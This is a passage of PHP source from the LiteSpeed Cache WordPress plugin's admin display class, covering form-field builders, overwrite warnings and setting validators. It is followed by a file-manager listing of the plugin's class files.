		echo '<input type="hidden" name="' . esc_attr( Router::ACTION ) . '" value="' . esc_attr( $action ) . '" />';
		if ( $type ) {
			echo '<input type="hidden" name="' . esc_attr( Router::TYPE ) . '" value="' . esc_attr( $type ) . '" />';
		}
		wp_nonce_field( $action, Router::NONCE );
	}

	/**
	 * Output LiteSpeed form end (submit + closing tags).
	 *
	 * @since 3.0
	 *
	 * @return void
	 */
	public function form_end() {
		echo "<div class='litespeed-top20'></div>";

		if ( ! defined( 'LITESPEED_CONF_LOADED' ) ) {
			submit_button( __( 'Save Changes', 'litespeed-cache' ), 'secondary litespeed-duplicate-float', 'litespeed-submit', true, array( 'disabled' => 'disabled' ) );

			echo '</div>';
		} else {
			submit_button(
				__( 'Save Changes', 'litespeed-cache' ),
				'primary litespeed-duplicate-float',
				'litespeed-submit',
				true,
				array(
					'id' => 'litespeed-submit-' . $this->_btn_i++,
				)
			);

			echo '</form>';
		}
	}

	/**
	 * Register a setting for saving.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	public function enroll( $id ) {
		echo '<input type="hidden" name="' . esc_attr( Admin_Settings::ENROLL ) . '[]" value="' . esc_attr( $id ) . '" />';
	}

	/**
	 * Build a textarea input.
	 *
	 * @since 1.1.0
	 *
	 * @param string     $id   Setting ID.
	 * @param int|false  $cols Columns count.
	 * @param string|nil $val  Pre-set value.
	 * @return void
	 */
	public function build_textarea( $id, $cols = false, $val = null ) {
		if ( null === $val ) {
			$val = $this->conf( $id, true );

			if ( is_array( $val ) ) {
				$val = implode( "\n", $val );
			}
		}

		if ( ! $cols ) {
			$cols = 80;
		}

		$rows = $this->get_textarea_rows( $val );

		$this->enroll( $id );

		echo "<textarea name='" . esc_attr( $id ) . "' rows='" . (int) $rows . "' cols='" . (int) $cols . "'>" . esc_textarea( $val ) . '</textarea>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Calculate textarea rows.
	 *
	 * @since 7.4
	 *
	 * @param string $val Text area value.
	 * @return int Number of rows to use.
	 */
	public function get_textarea_rows( $val ) {
		$rows  = 5;
		$lines = substr_count( (string) $val, "\n" ) + 2;
		if ( $lines > $rows ) {
			$rows = $lines;
		}
		if ( $rows > 40 ) {
			$rows = 40;
		}

		return $rows;
	}

	/**
	 * Build a text input field.
	 *
	 * @since 1.1.0
	 *
	 * @param string      $id       Setting ID.
	 * @param string|null $cls      CSS class.
	 * @param string|null $val      Value.
	 * @param string      $type     Input type.
	 * @param bool        $disabled Whether disabled.
	 * @return void
	 */
	public function build_input( $id, $cls = null, $val = null, $type = 'text', $disabled = false ) {
		if ( null === $val ) {
			$val = $this->conf( $id, true );

			// Mask passwords.
			if ( $this->_conf_pswd( $id ) && $val ) {
				$val = str_repeat( '*', strlen( $val ) );
			}
		}

		$label_id = preg_replace( '/\W/', '', $id );

		if ( 'text' === $type ) {
			$cls = "regular-text $cls";
		}

		if ( $disabled ) {
			echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' disabled /> ";
		} else {
			$this->enroll( $id );
			echo "<input type='" . esc_attr( $type ) . "' class='" . esc_attr( $cls ) . "' name='" . esc_attr( $id ) . "' value='" . esc_attr( $val ) . "' id='input_" . esc_attr( $label_id ) . "' /> ";
		}

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a checkbox HTML snippet.
	 *
	 * @since 1.1.0
	 *
	 * @param string     $id      Setting ID.
	 * @param string     $title   Checkbox label (HTML allowed).
	 * @param bool|null  $checked Whether checked.
	 * @param int|string $value   Checkbox value.
	 * @return void
	 */
	public function build_checkbox( $id, $title, $checked = null, $value = 1 ) {
		if ( null === $checked && $this->conf( $id, true ) ) {
			$checked = true;
		}

		$label_id = preg_replace( '/\W/', '', $id );

		if ( 1 !== $value ) {
			$label_id .= '_' . $value;
		}

		$this->enroll( $id );

		echo "<div class='litespeed-tick'>
			<input type='checkbox' name='" . esc_attr( $id ) . "' id='input_checkbox_" . esc_attr( $label_id ) . "' value='" . esc_attr( $value ) . "' " . checked( (bool) $checked, true, false ) . " />
			<label for='input_checkbox_" . esc_attr( $label_id ) . "'>" . wp_kses_post( $title ) . '</label>
		</div>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a toggle checkbox snippet.
	 *
	 * @since 1.7
	 *
	 * @param string      $id        Setting ID.
	 * @param bool|null   $checked   Whether enabled.
	 * @param string|null $title_on  Label when on.
	 * @param string|null $title_off Label when off.
	 * @return void
	 */
	public function build_toggle( $id, $checked = null, $title_on = null, $title_off = null ) {
		if ( null === $checked && $this->conf( $id, true ) ) {
			$checked = true;
		}
		if ( null === $title_on ) {
			$title_on  = __( 'ON', 'litespeed-cache' );
			$title_off = __( 'OFF', 'litespeed-cache' );
		}
		$cls = $checked ? 'primary' : 'default litespeed-toggleoff';
		echo "<div class='litespeed-toggle litespeed-toggle-btn litespeed-toggle-btn-" . esc_attr( $cls ) . "' data-litespeed-toggle-on='primary' data-litespeed-toggle-off='default' data-litespeed_toggle_id='" . esc_attr( $id ) . "' >
				<input name='" . esc_attr( $id ) . "' type='hidden' value='" . esc_attr( $checked ) . "' />
				<div class='litespeed-toggle-group'>
					<label class='litespeed-toggle-btn litespeed-toggle-btn-primary litespeed-toggle-on'>" . esc_html( $title_on ) . "</label>
					<label class='litespeed-toggle-btn litespeed-toggle-btn-default litespeed-toggle-active litespeed-toggle-off'>" . esc_html( $title_off ) . "</label>
					<span class='litespeed-toggle-handle litespeed-toggle-btn litespeed-toggle-btn-default'></span>
				</div>
			</div>";
	}

	/**
	 * Build a switch (radio) field.
	 *
	 * @since 1.1.0
	 * @since 1.7 Removed $disable param.
	 *
	 * @param string                 $id         Setting ID.
	 * @param array<int,mixed>|false $title_list Labels for options (OFF/ON).
	 * @return void
	 */
	public function build_switch( $id, $title_list = false ) {
		$this->enroll( $id );

		echo '<div class="litespeed-switch">';

		if ( ! $title_list ) {
			$title_list = array( __( 'OFF', 'litespeed-cache' ), __( 'ON', 'litespeed-cache' ) );
		}

		foreach ( $title_list as $k => $v ) {
			$this->_build_radio( $id, $k, $v );
		}

		echo '</div>';

		$this->_check_overwritten( $id );
	}

	/**
	 * Build a radio input and echo it.
	 *
	 * @since 1.1.0
	 * @access private
	 *
	 * @param string     $id  Setting ID.
	 * @param int|string $val Value for the radio.
	 * @param string     $txt Label HTML.
	 * @return void
	 */
	private function _build_radio( $id, $val, $txt ) {
		$id_attr = 'input_radio_' . preg_replace( '/\W/', '', $id ) . '_' . $val;

		$default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ];

		$is_checked = ! is_string( $default )
			? ( (int) $this->conf( $id, true ) === (int) $val )
			: ( $this->conf( $id, true ) === $val );

		echo "<input type='radio' autocomplete='off' name='" . esc_attr( $id ) . "' id='" . esc_attr( $id_attr ) . "' value='" . esc_attr( $val ) . "' " . checked( $is_checked, true, false ) . " /> <label for='" . esc_attr( $id_attr ) . "'>" . wp_kses_post( $txt ) . '</label>';
	}

	/**
	 * Show overwritten info if value comes from const/primary/filter/server.
	 *
	 * @since 3.0
	 * @since 7.4 Show value from filters. Added type parameter.
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _check_overwritten( $id ) {
		$const_val   = $this->const_overwritten( $id );
		$primary_val = $this->primary_overwritten( $id );
		$filter_val  = $this->filter_overwritten( $id );
		$server_val  = $this->server_overwritten( $id );

		if ( null === $const_val && null === $primary_val && null === $filter_val && null === $server_val ) {
			return;
		}

		// Get value to display.
		$val = null !== $const_val ? $const_val : $primary_val;
		// If we have filter_val will set as new val.
		if ( null !== $filter_val ) {
			$val = $filter_val;
		}
		// If we have server_val will set as new val.
		if ( null !== $server_val ) {
			$val = $server_val;
		}

		// Get type (used for display purpose).
		$type = ( isset( self::$settings_filters[ $id ] ) && isset( self::$settings_filters[ $id ]['type'] ) ) ? self::$settings_filters[ $id ]['type'] : 'textarea';
		if ( ( null !== $const_val || null !== $primary_val ) && null === $filter_val ) {
			$type = 'setting';
		}

		// Get default setting: if settings exist, use default setting, otherwise use filter/server value.
		$default = '';
		if ( isset( self::$_default_options[ $id ] ) || isset( self::$_default_site_options[ $id ] ) ) {
			$default = isset( self::$_default_options[ $id ] ) ? self::$_default_options[ $id ] : self::$_default_site_options[ $id ];
		}
		if ( null !== $filter_val || null !== $server_val ) {
			$default = null !== $filter_val ? $filter_val : $server_val;
		}

		// Set value to display, will be a string.
		if ( is_bool( $default ) ) {
			$val = $val ? __( 'ON', 'litespeed-cache' ) : __( 'OFF', 'litespeed-cache' );
		} else {
			if ( is_array( $val ) ) {
				$val = implode( "\n", $val );
			}
			$val = esc_textarea( $val );
		}

		// Show warning for all types except textarea.
		if ( 'textarea' !== $type ) {
			echo '<div class="litespeed-desc litespeed-warning litespeed-overwrite">⚠️ ';

			if ( null !== $server_val ) {
				// Show $_SERVER value.
				printf( esc_html__( 'This value is overwritten by the %s variable.', 'litespeed-cache' ), '$_SERVER' );
				$val = '$_SERVER["' . $server_val[0] . '"] = ' . $server_val[1];
			} elseif ( null !== $filter_val ) {
				// Show filter value.
				echo esc_html__( 'This value is overwritten by the filter.', 'litespeed-cache' );
			} elseif ( null !== $const_val ) {
				// Show CONSTANT value.
				printf( esc_html__( 'This value is overwritten by the PHP constant %s.', 'litespeed-cache' ), '<code>' . esc_html( Base::conf_const( $id ) ) . '</code>' );
			} elseif ( is_multisite() ) {
				// Show multisite overwrite.
				if ( get_current_blog_id() !== BLOG_ID_CURRENT_SITE && $this->conf( self::NETWORK_O_USE_PRIMARY ) ) {
					echo esc_html__( 'This value is overwritten by the primary site setting.', 'litespeed-cache' );
				} else {
					echo esc_html__( 'This value is overwritten by the Network setting.', 'litespeed-cache' );
				}
			}

			echo ' ' . sprintf( esc_html__( 'Currently set to %s', 'litespeed-cache' ), '<code>' . esc_html( $val ) . '</code>' ) . '</div>';
		} elseif ( 'textarea' === $type && null !== $filter_val ) {
			// Show warning for textarea.
			// Textarea sizes.
			$cols             = 30;
			$rows             = $this->get_textarea_rows( $val );
			$rows_current_val = $this->get_textarea_rows( implode( "\n", $this->conf( $id, true ) ) );
			// If filter rows is bigger than textarea size, equalize them.
			if ( $rows > $rows_current_val ) {
				$rows = $rows_current_val;
			}
			?>
			<div class="litespeed-desc-wrapper">
				<div class="litespeed-desc"><?php echo esc_html__( 'Value from filter applied', 'litespeed-cache' ); ?>:</div>
				<textarea readonly rows="<?php echo (int) $rows; ?>" cols="<?php echo (int) $cols; ?>"><?php echo esc_textarea( $val ); ?></textarea>
			</div>
			<?php
		}
	}

	/**
	 * Display seconds label and readable span.
	 *
	 * @since 3.0
	 * @return void
	 */
	public function readable_seconds() {
		echo esc_html__( 'seconds', 'litespeed-cache' );
		echo ' <span data-litespeed-readable=""></span>';
	}

	/**
	 * Display default value for a setting.
	 *
	 * @since 1.1.1
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	public function recommended( $id ) {
		if ( ! $this->default_settings ) {
			$this->default_settings = $this->load_default_vals();
		}

		$val = $this->default_settings[ $id ];

		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			printf(
				'%s: <code>%s</code>',
				esc_html__( 'Default value', 'litespeed-cache' ),
				esc_html( $val )
			);
			return;
		}

		$rows = 5;
		$cols = 30;
		// Flexible rows/cols.
		$lines = count( $val ) + 1;
		$rows  = min( max( $lines, $rows ), 40 );
		foreach ( $val as $v ) {
			$cols = max( strlen( $v ), $cols );
		}
		$cols = min( $cols, 150 );

		$val = implode( "\n", $val );
		printf(
			'<div class="litespeed-desc">%s:</div><textarea readonly rows="%d" cols="%d">%s</textarea>',
			esc_html__( 'Default value', 'litespeed-cache' ),
			(int) $rows,
			(int) $cols,
			esc_textarea( $val )
		);
	}

	/**
	 * Validate rewrite rules regex syntax.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_syntax( $id ) {
		$val = $this->conf( $id, true );

		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			$val = array( $val );
		}

		foreach ( $val as $v ) {
			if ( ! Utility::syntax_checker( $v ) ) {
				echo '<br /><span class="litespeed-warning"> ❌ ' . esc_html__( 'Invalid rewrite rule', 'litespeed-cache' ) . ': <code>' . wp_kses_post( $v ) . '</code></span>';
			}
		}
	}

	/**
	 * Validate if the .htaccess path is valid.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_htaccess_path( $id ) {
		$val = $this->conf( $id, true );
		if ( ! $val ) {
			return;
		}

		if ( '/.htaccess' !== substr( $val, -10 ) ) {
			echo '<br /><span class="litespeed-warning"> ❌ ' . sprintf( esc_html__( 'Path must end with %s', 'litespeed-cache' ), '<code>/.htaccess</code>' ) . '</span>';
		}
	}

	/**
	 * Check TTL ranges and show tips.
	 *
	 * @since 3.0
	 *
	 * @param string   $id         Setting ID.
	 * @param int|bool $min        Minimum value (or false).
	 * @param int|bool $max        Maximum value (or false).
	 * @param bool     $allow_zero Whether zero is allowed.
	 * @return void
	 */
	protected function _validate_ttl( $id, $min = false, $max = false, $allow_zero = false ) {
		$val = $this->conf( $id, true );

		$tip = array();
		if ( $min && $val < $min && ( ! $allow_zero || 0 !== $val ) ) {
			$tip[] = esc_html__( 'Minimum value', 'litespeed-cache' ) . ': <code>' . $min . '</code>.';
		}
		if ( $max && $val > $max ) {
			$tip[] = esc_html__( 'Maximum value', 'litespeed-cache' ) . ': <code>' . $max . '</code>.';
		}

		echo '<br />';

		if ( $tip ) {
			echo '<span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>';
		}

		$range = '';

		if ( $allow_zero ) {
			$range .= esc_html__( 'Zero, or', 'litespeed-cache' ) . ' ';
		}

		if ( $min && $max ) {
			$range .= $min . ' - ' . $max;
		} elseif ( $min ) {
			$range .= esc_html__( 'Larger than', 'litespeed-cache' ) . ' ' . $min;
		} elseif ( $max ) {
			$range .= esc_html__( 'Smaller than', 'litespeed-cache' ) . ' ' . $max;
		}

		echo esc_html__( 'Value range', 'litespeed-cache' ) . ': <code>' . esc_html( $range ) . '</code>';
	}

	/**
	 * Validate IPs in a list.
	 *
	 * @since 3.0
	 *
	 * @param string $id Setting ID.
	 * @return void
	 */
	protected function _validate_ip( $id ) {
		$val = $this->conf( $id, true );
		if ( ! $val ) {
			return;
		}

		if ( ! is_array( $val ) ) {
			$val = array( $val );
		}

		$tip = array();
		foreach ( $val as $v ) {
			if ( ! $v ) {
				continue;
			}

			if ( ! \WP_Http::is_ip_address( $v ) ) {
				$tip[] = esc_html__( 'Invalid IP', 'litespeed-cache' ) . ': <code>' . esc_html( $v ) . '</code>.';
			}
		}

		if ( $tip ) {
			echo '<br /><span class="litespeed-warning"> ❌ ' . wp_kses_post( implode( ' ', $tip ) ) . '</span>';
		}
	}

	/**
	 * Display API environment variable support.
	 *
	 * @since 1.8.3
	 * @access protected
	 *
	 * @param string ...$args Server variable names.
	 * @return void
	 */
	protected function _api_env_var( ...$args ) {
		echo '<span class="litespeed-success"> ' .
			esc_html__( 'API', 'litespeed-cache' ) . ': ' .
			sprintf(
				/* translators: %s: list of server variables in <code> tags */
				esc_html__( 'Server variable(s) %s available to override this setting.', 'litespeed-cache' ),
				'<code>' . implode( '</code>, <code>', array_map( 'esc_html', $args ) ) . '</code>'
			) .
			'</span>';

		Doc::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/admin/#limiting-the-crawler' );
	}

	/**
	 * Display URI setting example.
	 *
	 * @since 2.6.1
	 * @access protected
	 * @return void
	 */
	protected function _uri_usage_example() {
		echo esc_html__( 'The URLs will be compared to the REQUEST_URI server variable.', 'litespeed-cache' );
		/* translators: 1: example URL, 2: pattern example */
		echo ' ' . sprintf( esc_html__( 'For example, for %1$s, %2$s can be used here.', 'litespeed-cache' ), '<code>/mypath/mypage?aa=bb</code>', '<code>mypage?aa=</code>' );
		echo '<br /><i>';
		/* translators: %s: caret symbol */
		printf( esc_html__( 'To match the beginning, add %s to the beginning of the item.', 'litespeed-cache' ), '<code>^</code>' );
		/* translators: %s: dollar symbol */
		echo ' ' . sprintf( esc_html__( 'To do an exact match, add %s to the end of the URL.', 'litespeed-cache' ), '<code>$</code>' );
		echo ' ' . esc_html__( 'One per line.', 'litespeed-cache' );
		echo '</i>';
	}

	/**
	 * Return pluralized strings.
	 *
	 * @since 2.0
	 *
	 * @param int    $num  Number.
	 * @param string $kind Kind of item (group|image).
	 * @return string
	 */
	public static function print_plural( $num, $kind = 'group' ) {
		if ( $num > 1 ) {
			switch ( $kind ) {
				case 'group':
					return sprintf( esc_html__( '%s groups', 'litespeed-cache' ), $num );

				case 'image':
					return sprintf( esc_html__( '%s images', 'litespeed-cache' ), $num );

				default:
					return $num;
			}
		}

		switch ( $kind ) {
			case 'group':
				return sprintf( esc_html__( '%s group', 'litespeed-cache' ), $num );

			case 'image':
				return sprintf( esc_html__( '%s image', 'litespeed-cache' ), $num );

			default:
				return $num;
		}
	}

	/**
	 * Return guidance HTML.
	 *
	 * @since 2.0
	 *
	 * @param string            $title        Title HTML.
	 * @param array<int,string> $steps        Steps list (HTML allowed).
	 * @param int|string        $current_step Current step number or 'done'.
	 * @return string HTML for guidance widget.
	 */
	public static function guidance( $title, $steps, $current_step ) {
		if ( 'done' === $current_step ) {
			$current_step = count( $steps ) + 1;
		}

		$percentage = ' (' . floor( ( ( $current_step - 1 ) * 100 ) / count( $steps ) ) . '%)';

		$html = '<div class="litespeed-guide"><h2>' . $title . $percentage . '</h2><ol>';
		foreach ( $steps as $k => $v ) {
			$step = $k + 1;
			if ( $current_step > $step ) {
				$html .= '<li class="litespeed-guide-done">';
			} else {
				$html .= '<li>';
			}
			$html .= $v . '</li>';
		}

		$html .= '</ol></div>';

		return $html;
	}

	/**
	 * Check whether has QC hide banner cookie.
	 *
	 * @since 7.1
	 *
	 * @return bool
	 */
	public static function has_qc_hide_banner() {
		return isset( $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) && ( time() - (int) $_COOKIE[ self::COOKIE_QC_HIDE_BANNER ] ) < 86400 * 90;
	}

	/**
	 * Set QC hide banner cookie.
	 *
	 * @since 7.1
	 * @return void
	 */
	public static function set_qc_hide_banner() {
		$expire = time() + 86400 * 365;
		self::debug( 'Set qc hide banner cookie' );
		setcookie( self::COOKIE_QC_HIDE_BANNER, time(), $expire, COOKIEPATH, COOKIE_DOMAIN );
	}

	/**
	 * Handle all request actions from main cls.
	 *
	 * @since 7.1
	 * @return void
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ( $type ) {
			case self::TYPE_QC_HIDE_BANNER:
				self::set_qc_hide_banner();
				break;

			default:
				break;
		}

		Admin::redirect();
	}
}

Filemanager

Name Type Size Permission Actions
cdn Folder 0755
data_structure Folder 0755
activation.cls.php File 17.44 KB 0644
admin-display.cls.php File 48.85 KB 0644
admin-settings.cls.php File 10.81 KB 0644
admin.cls.php File 5.05 KB 0644
api.cls.php File 10.44 KB 0644
avatar.cls.php File 8.68 KB 0644
base.cls.php File 32.96 KB 0644
cdn.cls.php File 13.11 KB 0644
cloud.cls.php File 55.06 KB 0644
conf.cls.php File 17.31 KB 0644
control.cls.php File 21.18 KB 0644
core.cls.php File 21.01 KB 0644
crawler-map.cls.php File 14.91 KB 0644
crawler.cls.php File 42.1 KB 0644
css.cls.php File 15.27 KB 0644
data.cls.php File 16.49 KB 0644
data.upgrade.func.php File 3.07 KB 0644
db-optm.cls.php File 10.33 KB 0644
debug2.cls.php File 14.23 KB 0644
doc.cls.php File 4.07 KB 0644
error.cls.php File 7.38 KB 0644
esi.cls.php File 27.18 KB 0644
file.cls.php File 10.57 KB 0644
gui.cls.php File 30.17 KB 0644
health.cls.php File 2.83 KB 0644
htaccess.cls.php File 24.06 KB 0644
img-optm.cls.php File 64.27 KB 0644
import.cls.php File 4.29 KB 0644
import.preset.cls.php File 5.5 KB 0644
lang.cls.php File 14.92 KB 0644
localization.cls.php File 3.44 KB 0644
media.cls.php File 35.23 KB 0644
metabox.cls.php File 4.17 KB 0644
object-cache-wp.cls.php File 24.67 KB 0644
object-cache.cls.php File 20.3 KB 0644
object.lib.php File 13.31 KB 0644
optimize.cls.php File 38.66 KB 0644
optimizer.cls.php File 9.41 KB 0644
placeholder.cls.php File 14.19 KB 0644
purge.cls.php File 31.65 KB 0644
report.cls.php File 6.12 KB 0644
rest.cls.php File 7.54 KB 0644
root.cls.php File 13.99 KB 0644
router.cls.php File 20.57 KB 0644
str.cls.php File 3.15 KB 0644
tag.cls.php File 9.26 KB 0644
task.cls.php File 6.12 KB 0644
tool.cls.php File 4.22 KB 0644
ucss.cls.php File 14.33 KB 0644
utility.cls.php File 20.9 KB 0644
vary.cls.php File 20.2 KB 0644
vpi.cls.php File 7.37 KB 0644